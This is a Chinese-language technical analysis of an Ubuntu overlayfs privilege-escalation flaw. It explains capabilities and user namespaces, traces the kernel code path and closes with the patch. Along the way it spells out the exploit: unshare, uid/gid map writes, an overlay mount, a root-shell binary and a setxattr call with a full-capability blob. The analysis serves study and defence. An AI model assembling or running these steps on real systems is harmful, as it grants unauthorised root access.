一、漏洞简介
漏洞背景
linux内核中的overlayfs文件系统没有正确根据用户命名空间校验 capability权限,从而导致普通用户可以利用该漏洞提升权限为root用户。
该漏洞NVD的打分为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,最终得分为7.8分(高危)。
漏洞影响范围为:
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
漏洞成因
linux内核代码允许低权限用户在使用unshare()
函数创建的用户命名空间中挂载overlayfs文件系统。当使用setxattr()
函数设置merged联合挂载目录中文件的security.capablility
扩展属性时,根据overlayfs文件系统的特性,将实际修改init_user_ns
下upper目录中对应文件的扩展属性,从而造成本地提权问题。
二、基本概念
2.1 Overlayfs
Overlayfs是一个面向Linux的文件系统服务,其实现一个面向其他类型文件系统(如ext4fs、ext3fs等)的联合挂载,而不直接参与磁盘空间结构的划分。于2014年被合并到Linux内核的3.18版本,目前功能已经稳定且被逐渐推广,并在docker容器技术中得到广泛的应用。
如图所示,Overlayfs由两个文件系统组合而成:一个upper文件系统和一个lower文件系统,两种文件系统联合挂载成为一个目录。upper目录只能有一个,而lower可以有多个。upper目录中的文件会覆盖lower中的同名文件,比如图中merged目录中的file3目录最终显示的是upper目录中的file3目录。当存在多个lower目录时,高级别lower目录中的文件也会覆盖低级别lower目录中的文件。
upper目录可读可写,图中file3、file4文件的修改会被映射到upper中,比如删除或者修改操作。而lower目录是只读目录,file1和file2的改动不会影响到lower目录中的真实文件。当删除文件file1时,系统会创建一个删除标记,而不会真正删除lower中的文件。当改写lower层的文件时,系统会将文件拷贝至upper目录中进行修改,并隐藏lower目录中的同名文件。
2.2 linux capabilities机制
Linux内核2.2引入了capabilities机制,并在后续使用中使用完善。该机制将root用户的权限细分为不同的领域,可以分别启用或禁用。在实际进行特权操作时,如果euid不是root,系统会校验该线程是否具有完成操作对应的capabilities特权。线程和文件均有capabilities的概念。
表格中列取了几个常见的capabilities作为例子。
capability 名称 | 功能描述 |
---|---|
CAP_CHOWN | 修改文件所有者的权限 |
CAP_KILL | 允许对不属于自己的进程发送信号 |
CAP_SETFCAP | 允许为文件设置任意的 capabilities |
CAP_SETUID | 允许改变进程的 UID |
CAP_SYS_ADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
2.2.1 线程的capabilities
每一个线程,具有3个capabilities的集合,分别是:
Permitted
Permitted集合定义了线程的特权上限,如果执行操作所需要的capability不在该集合中,那么该线程不会进行对应的特权操作。Permitted集合是Inheritable和Effective集合的的超集。
Inheritable
当执行
exec()
系统调用运行其他程序时,哪些特权能够被新线程继承capabilities。Effective
内核检查该线程是否可以进行特权操作时,检查的对象便是Effective集合。线程可以删除Effective集合中的某capability,随后在需要时,再从Permitted集合中恢复该capability,以此达到临时禁用capability的功能。
2.2.2 文件的capabilities
文件的capabilities被记录在文件的拓展属性中。当某线程想修改这些扩展属性时,需要具有CAP_SETFCAP
的capability。
Permitted
文件被执行时加入其线程的Permitted集合。
Inheritable
这个集合与线程的Inheritable集合的交集作为执行完exec
后实际继承的capabilities。
Effective
如果设置开启,那么在运行后,Permitted集合中新增的capabilities会自动出现在Effective集合中;否则不会出现在Effective集合中。对于一些旧的可执行文件,由于其不会调用capabilities相关函数设置自身的Effective集合,所以可以将该可执行文件的Effective bit开启,从而将Permitted集合中的capabilities自动添加到Effective集合中。
ambient
在内核4.3后引入,用于补充Inheritable使用上的缺陷,ambien集合可以使用函数prctl修改。当程序由于SUID(SGID)bit位而转变UID(GID),或执行带有文件capabilities的程序时会导致该集合被清空
2.3 User namespace
User namespace 是 Linux 3.8 新增的一种 namespace,用于隔离安全相关的资源,包括 user IDs and group IDs,keys, 和 capabilities。同样一个用户的 user ID 和 group ID 在不同的 user namespace 中可以不一样(与 PID nanespace 类似)。换句话说,一个用户可以在一个 user namespace 中是普通用户,但在另一个 user namespace 中是超级用户。
系统启动时,就有一个默认的全局 init_user_ns,新创建一个 user namespace 会重新规划这个 ns 的 capability 能力,和这个 user namespace 父辈的 capability 能力无关。在新 user namespace 中 uid 0 等于 root 默认拥有所有 capability,普通用户的 capability 是在 execve() 时由 task->real_cred->cap_inheritable + file capability 综合而成。
三、漏洞分析
3.1 环境信息
系统版本:Ubuntu 18.04.5 LTS
内核版本:4.15.18+
内核编译环境:
gcc version 7.5.0
GNU Make 4.1
3.2 创建挂载目录
首先生成./poc
文件夹,以及./poc/work
、./poc/lower
、./poc/upper
、./poc/overlayfs
等子文件夹,作为Overlayfs的挂载点。
#define DIR_WORK "./poc/work"
#define DIR_LOWER "./poc/lower"
#define DIR_UPPER "./poc/upper"
#define DIR_OVERLAY "./poc/overlayfs"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_OVERLAY, 0777);
3.2 创建user namespace及cred
调用unshare()
函数创建新的user namespace,以获取挂载Overlayfs并进行逃逸的权限。注意内核需要开启相关参数支持user namespace
隔离,/boot/cpnfig-generic
配置文件中的CONFIG_NAMESPACES、CONFIG_USER_NS
参数应为y。
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
进入SyS_unshare()
系统调用,调用内核unshare_userns()
函数创建新的user namespace,以及对应的struct cred *cred
结构体。根据user namespace的特性,此时会重新规划线程的capabilities。
int unshare_userns(unsigned long unshare_flags, struct cred **new_cred)
{
struct cred *cred;
int err = -ENOMEM;
if (!(unshare_flags & CLONE_NEWUSER))
return 0;
cred = prepare_creds();
if (cred) {
err = create_user_ns(cred);
if (err)
put_cred(cred);
else
*new_cred = cred;
}
return err;
}
进入set_cred_user_ns()
函数,将cap_effective
以及cap_permitted
设置为CAP_FULL_SET。
static void set_cred_user_ns(struct cred *cred, struct user_namespace *user_ns)
{
/* Start with the same capabilities as init but useless for doing
* anything as the capabilities are bound to the new user namespace.
*/
cred->securebits = SECUREBITS_DEFAULT;
cred->cap_inheritable = CAP_EMPTY_SET;
cred->cap_permitted = CAP_FULL_SET;
cred->cap_effective = CAP_FULL_SET;
cred->cap_ambient = CAP_EMPTY_SET;
cred->cap_bset = CAP_FULL_SET;
#ifdef CONFIG_KEYS
key_put(cred->request_key_auth);
cred->request_key_auth = NULL;
#endif
/* tgcred will be cleared in our caller bc CLONE_THREAD won't be set */
cred->user_ns = user_ns;
}
该内核函数调用栈打印如下。
打印的cred
结构体中cap_permitted
以及cap_effective
的值如下。
cred->user_ns
的值为0xffff8881b4b8f050
,对应创建的ns。
接下来在用户态中调用xwritefile()
函数,将/proc/self/setgroups
文件的值写为deny
,uid_map
值写为0 1000 1
以及gid_map
的值写为0 1000 1
,表示将当前uid=1000,guid=1000
的test用户映射为namespace中的root用户。注意,Linx 3.19后的内核调用中需要将setgroups
设置成deny
,以禁用user namespace
中的、setgroups()
系统调用,才能更新gid_maps
的值。否则修改会报write /proc/self/gid_map: Operation not permitted
的错。
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
打印此时的gid_map
以及uid_map
映射文件,结果如下。
3.4 挂载overlayfs文件系统
ubuntu内核/fs/overlayfs/super.c
文件中的ovl_fs_type
结构体设置了fs_flags
字段,系统在执行module_init
会进行加载。普通用户在低权限的user namespace中挂载一个Overlayfs。
static struct file_system_type ovl_fs_type = {
.owner = THIS_MODULE,
.name = "overlay",
.mount = ovl_mount,
.kill_sb = kill_anon_super,
.fs_flags = FS_USERNS_MOUNT,
};
MODULE_ALIAS_FS("overlay");
static int __init ovl_init(void)
{
int err;
ovl_inode_cachep = kmem_cache_create("ovl_inode",
sizeof(struct ovl_inode), 0,
(SLAB_RECLAIM_ACCOUNT|
SLAB_MEM_SPREAD|SLAB_ACCOUNT),
ovl_inode_init_once);
if (ovl_inode_cachep == NULL)
return -ENOMEM;
err = register_filesystem(&ovl_fs_type);
if (err)
kmem_cache_destroy(ovl_inode_cachep);
return err;
}
module_init(ovl_init);
用户态中执行mount()
函数挂载Overlayfs,参数中指定lowerdir
为./poc/lower
,upperdir
为./poc/upper
,merged
为./poc/overlayfs
文件夹。
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_OVERLAY, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_OVERLAY);
mount()
函数触发SyS_mount
系统调用,并最终进入内核sget_userns
函数校验此时的fs_flags值是否为FS_USERNS_MOUNT,以及是否具备CAP_SYS_ADMIN的权限,此处校验通过,Overlayfs正常挂载。
//include/linux/fs.h
#define FS_USERNS_MOUNT 8 /* Can be mounted by userns root */
//fs/super.c
struct super_block *sget_userns(struct file_system_type *type,
int (*test)(struct super_block *,void *),
int (*set)(struct super_block *,void *),
int flags, struct user_namespace *user_ns,
void *data)
{
struct super_block *s = NULL;
struct super_block *old;
int err;
if (!(flags & (SB_KERNMOUNT|SB_SUBMOUNT)) &&
!(type->fs_flags & FS_USERNS_MOUNT) &&
!capable(CAP_SYS_ADMIN))
return ERR_PTR(-EPERM);
...
return s;
}
执行该函数时,内核的调用栈如下。
打印此时的type结构体可以观察fs_flags
值被module_init
设置为0x8
。
3.5 利用setxattr函数漏洞进行逃逸
编译生成提权shellcode,elevated_privileges.o,用于提权并获取shell,该文件源码如下。
//提权文件elevated_privileges.o源码 int main(int argc, char *argv[]){ setuid(0); setgid(0); execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL); }
拷贝elevated_privileges.o
至./poc/overlayfs/
文件夹,根据overlayfs
的特性,./poc/upper
会同时生成elevated_privileges.o
文件。
#define BIN_OVERLAY "./poc/overlayfs/elevated_privileges.o" xcopyfile("./elevated_privileges.o", BIN_OVERLAY, 0777);
在用户态中调用setxattr()
函数,将./poc/overlayfs/elevated_privileges.o
的设置扩展属性security.capability
,获取提权权限,以使用setuid()
和setgid()
函数进行权限提升。
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00"; if (setxattr(BIN_OVERLAY, "security.capability", cap, sizeof(cap) - 1, 0) == -1 err(1, "setxattr %s", BIN_OVERLAY);
value
字段对应的结构体位于include/uapi/linux/capability.h
文件中。根据定义,effective bit被设置为1,permitted被设置为0xffffffff
,inheritable被设置为0x00000000
。当执行shellcode时,线程将具备所有特权,包括CAP_SETFCAP
特权,可进行提权。
struct vfs_cap_data { __le32 magic_etc; /* Little endian */ struct { __le32 permitted; /* Little endian */ __le32 inheritable; /* Little endian */ } data[VFS_CAP_U32]; };
下面分析执行setxattr()
函数的时候,内核的处理过程。
3.5.1 绕过capability校验
该函数触发SyS_setxattr
系统调用,并进入path_setxattr()
函数。
path_setxattr static int path_setxattr(const char __user *pathname, const char __user *name, const void __user *value, size_t size, int flags, unsigned int lookup_flags) { struct path path; int error; retry: error = user_path_at(AT_FDCWD, pathname, lookup_flags, &path); if (error) return error; error = mnt_want_write(path.mnt); if (!error) { error = setxattr(path.dentry, name, value, size, flags); mnt_drop_write(path.mnt); } path_put(&path); if (retry_estale(error, lookup_flags)) { lookup_flags |= LOOKUP_REVAL; goto retry; } return error; }
此时调用堆栈如下。
打印pathname
和value
参数。
path_setxattr()
会调用的setxattr()
函数设置文件的扩展属性,该函数首先会执行cap_convert_nscap()
检查权限,包括文件所属的namespace
以及当前运行环境的namespace
是否一致,以及当前用户是否具有CAP_SETFCAP
的权限。
static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { ... if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); else if (strcmp(kname, XATTR_NAME_CAPS) == 0) { error = cap_convert_nscap(d, &kvalue, size); if (error < 0) goto out; size = error; } } ... }
cap_convert_nscap()
函数获取目录项对应的索引节点inode
及inode
所属的username space
。current_user_ns()
返回目前运行的user namespace,其值为0xffff8881b4b8f050
,对应攻击者创建的user namespace。由于采用VFS_CAP_REVISION_2
版本,if
语句中进入ns_capable()
函数检查权限。
int cap_convert_nscap(struct dentry *dentry, void **ivalue, size_t size) { ... struct inode *inode = d_backing_inode(dentry); struct user_namespace *task_ns = current_user_ns(), *fs_ns = inode->i_sb->s_user_ns; ... if (size == XATTR_CAPS_SZ_2) if (ns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP)) /* user is privileged, just write the v2 */ return size; ... }
ns_capable()
通过ns_capable_common()
调用security_capable()
。
bool ns_capable(struct user_namespace *ns, int cap) // ns_capable (ns=0xffff8881b516c3a0, cap=0x1f) { p (*(struct user_namespace *)0xffff8881b7186000) return ns_capable_common(ns, cap, CAP_OPT_NONE); } static bool ns_capable_common(struct user_namespace *ns, int cap, unsigned int opts) { int capable; if (unlikely(!cap_valid(cap))) { pr_crit("capable() called with invalid cap=%u\n", cap); BUG(); } capable = security_capable(current_cred(), ns, cap, opts); struct cred if (capable == 0) { current->flags |= PF_SUPERPRIV; return true; } return false; }
在security_capable()
中,内核通过hook机制,最终将当前的cred
、ns
等作为参数送给cap_capable()
函数。
int security_capable(const struct cred *cred, struct user_namespace *ns, int cap, unsigned int opts) { return call_int_hook(capable, 0, cred, ns, cap, opts); }
打印此时的security_hook_heads
链表,可找到对应的处理函数。
cap_capable
函数对比inode
的ns
值以及cred->user_ns
值,确保文件user namespace
和当前user namespace
一致,并且使用cap_raised()
检查cred->cap_effective
是否具有CAP_SETFCAP
的权限。
int cap_capable(const struct cred *cred, struct user_namespace *targ_ns, int cap, unsigned int opts) { struct user_namespace *ns = targ_ns; for (;;) { if (ns == cred->user_ns) return cap_raised(cred->cap_effective, cap) ? 0 : -EPERM; ... } }
打印此时的cred->user_ns
,为unshare
生成的user namespace,内存为0xffff8881b4b8f050
,并且cap_effective
在namespace
初始化时设置为CAP_FULL_SET
,此处通过校验。
3.5.2 利用overlayfs特性逃逸修改upper文件capability
返回setxattr()
后调用vfs_setxattr()
设置目录项的security.capability
扩展属性。
static long setxattr(struct dentry *d, const char __user *name, const void __user *value, size_t size, int flags) { ... error = vfs_setxattr(d, kname, kvalue, size, flags); out: kvfree(kvalue); return error; }
__vfs_setxattr()
函数调用xattr_resolve_name
,解析当前inode
所使用的扩展属性处理函数。
int __vfs_setxattr(struct dentry *dentry, struct inode *inode, const char *name, const void *value, size_t size, int flags) { const struct xattr_handler *handler; handler = xattr_resolve_name(inode, &name); if (IS_ERR(handler)) return PTR_ERR(handler); if (!handler->set) return -EOPNOTSUPP; if (size == 0) value = ""; /* empty EA, do not remove */ return handler->set(handler, dentry, inode, name, value, size, flags);//150 }
根据inode->i_sb->s_xattr
的值解析出对应的处理方法为ovl_xattr_handlers
。
最终进入ovl_xattr_set
函数,此时调用路径如下。
根据overlay的特性该函数会获取真正的目录项realdentry
。
int ovl_xattr_set(struct dentry *dentry, struct inode *inode, const char *name, const void *value, size_t size, int flags) { int err; struct dentry *upperdentry = ovl_i_dentry_upper(inode); struct dentry *realdentry = upperdentry ?: ovl_dentry_lower(dentry); const struct cred *old_cred; ... if (!upperdentry) { err = ovl_copy_up(dentry); if (err) goto out_drop_write; realdentry = ovl_dentry_upper(dentry); //249行 } old_cred = ovl_override_creds(dentry->d_sb); if (value) err = vfs_setxattr(realdentry, name, value, size, flags); //254行 else { WARN_ON(flags != XATTR_REPL); err = vfs_removexattr(realdentry, name); } ... }
结构体realdentry->d_parent->d_name
指向upper文件夹,表示realdentry
位于upper
文件夹下,user namespace
为初始的init_user_ns
。接下来递归调用vfs_setxattr
函数设置realdentry
的扩展属性,造成user namespace
逃逸。
再次进入__vfs_setxattr()
,xattr_resolve_name()
函数解析出upper的处理方法为ext4_xattr_security_set
方法。最终通过该方法将./poc/upper/elevated_privileges.o
文件的capability设置成拥有全部特权的模式。
int __vfs_setxattr(struct dentry *dentry, struct inode *inode, const char *name, const void *value, size_t size, int flags) { const struct xattr_handler *handler;c handler = xattr_resolve_name(inode, &name); if (IS_ERR(handler)) return PTR_ERR(handler); if (!handler->set) return -EOPNOTSUPP; if (size == 0) value = ""; /* empty EA, do not remove */ return handler->set(handler, dentry, inode, name, value, size, flags);//150 }
3.6 运行shellcode进行提权
观察./poc/upper/elevated_privileges.o
文件的security.capability
扩展字段,该字段已经被修改。
运行该文件,提权为root。
四、漏洞修复
补丁将setxattr()
中的cap_convert_nscap()
校验函数移动到了vfs_setxattr()
中,设置任何目录项的security.capability
扩展属性时,都会进行user namespace和capability的校验,补丁具体信息如下。
diff --git a/fs/xattr.c b/fs/xattr.c index cd7a563e8bcd4..fd57153b1f617 100644 --- a/fs/xattr.c +++ b/fs/xattr.c @@ -276,8 +276,16 @@ vfs_setxattr(struct dentry *dentry, const char *name, const void *value, { struct inode *inode = dentry->d_inode; struct inode *delegated_inode = NULL; + const void *orig_value = value; int error; + if (size && strcmp(name, XATTR_NAME_CAPS) == 0) { + error = cap_convert_nscap(dentry, &value, size); + if (error < 0) + return error; + size = error; + } + retry_deleg: inode_lock(inode); error = __vfs_setxattr_locked(dentry, name, value, size, flags, @@ -289,6 +297,9 @@ retry_deleg: if (!error) goto retry_deleg; } + if (value != orig_value) + kfree(value); + return error; } EXPORT_SYMBOL_GPL(vfs_setxattr); @@ -537,12 +548,6 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value, if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) posix_acl_fix_xattr_from_user(kvalue, size); - else if (strcmp(kname, XATTR_NAME_CAPS) == 0) { - error = cap_convert_nscap(d, &kvalue, size); - if (error < 0) - goto out; - size = error; - } } error = vfs_setxattr(d, kname, kvalue, size, flags);
普通系统用户可通过升级系统至最新版本修复此漏洞。